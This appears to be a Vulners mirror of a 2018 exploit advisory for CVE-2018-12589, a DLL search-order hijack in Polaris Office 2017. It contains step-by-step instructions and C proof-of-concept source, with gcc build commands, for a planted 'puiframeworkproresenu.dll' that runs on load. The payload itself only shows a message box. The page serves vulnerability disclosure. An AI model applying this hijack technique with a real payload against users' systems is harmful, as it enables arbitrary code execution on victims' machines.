Lucene search
K

PolarisOffice 2017 8 - Remote Code Execution Exploit

🗓️ 06 Jul 2018 00:00:00Reported by hyp3rlinxType 
zdt
 zdt
🔗 0day.today👁 49 Views

PolarisOffice 2017 8 - Remote Code Execution via "puiframeworkproresenu.dll

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Polaris Office 2017 8.1 Remote Code Execution Exploit
29 Jun 201800:00
zdt
CNVD
Polaris Office Arbitrary Code Execution Vulnerability
29 Jun 201800:00
cnvd
CVE
CVE-2018-12589
28 Jun 201814:00
cve
Cvelist
CVE-2018-12589
28 Jun 201814:00
cvelist
Exploit DB
PolarisOffice 2017 8 - Remote Code Execution
6 Jul 201800:00
exploitdb
EUVD
EUVD-2018-4548
7 Oct 202500:30
euvd
exploitpack
PolarisOffice 2017 8 - Remote Code Execution
6 Jul 201800:00
exploitpack
NVD
CVE-2018-12589
28 Jun 201814:29
nvd
Packet Storm
Polaris Office 2017 8.1 Remote Code Execution
26 Jun 201800:00
packetstorm
Prion
Directory traversal
28 Jun 201814:29
prion
Rows per page
[+] Credits: John Page (aka hyp3rlinx)      

Vendor:
=============
www.polarisoffice.com
 
 
Product:
===========
PolarisOffice 2017 v8
 
Polaris Document Solution is an integrated solution for corporate document life cycle from document creation, use, management, security, and collaboration.
 
Used by more than 70 million subscribers in 240 countries.
 
 
Vulnerability Type:
===================
Remote Code Execution
 
 
CVE Reference:
==============
CVE-2018-12589
 
 
Security Issue:
================
Polaris Office 2017 8.1 allows attackers to execute arbitrary code via a Trojan horse "puiframeworkproresenu.dll" file
in the current working directory, due to a search order flaw vulnerability.
 
1) create a 32bit DLL named "puiframeworkproresenu.dll"
2) put any .PDF or .PPTX file or whatever that is configured to open in Polaris Office in same directory as the above DLL 
3) open the document (PDF etc) then BOOM our arbitrary DLL will execute on victims system.
 
This can be observed as well with both the DLL and a document opened from a remote share.
 
 
 
Exploit/POC:
=============
 
#include <windows.h>
 
/* hyp3rlinx */
 
/*
gcc -c -m32 puiframeworkproresenu.c
gcc -shared -m32 -o puiframeworkproresenu.dll puiframeworkproresenu.o
*/
 
void trojanizer(){
     MessageBox( 0, "Continue with PWNAGE?" , "philbin :)" , MB_YESNO + MB_ICONQUESTION );
}
 
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){
    switch(fdwReason){
        case DLL_PROCESS_ATTACH:{
             trojanizer();
            break;
        }
        case DLL_PROCESS_DETACH:{
             trojanizer();
            break;
        }
        case DLL_THREAD_ATTACH:{
             trojanizer();
            break;
        }
        case DLL_THREAD_DETACH:{
             trojanizer();
            break;
        }
    }
     
    return TRUE;
}

#  0day.today [2018-07-06]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation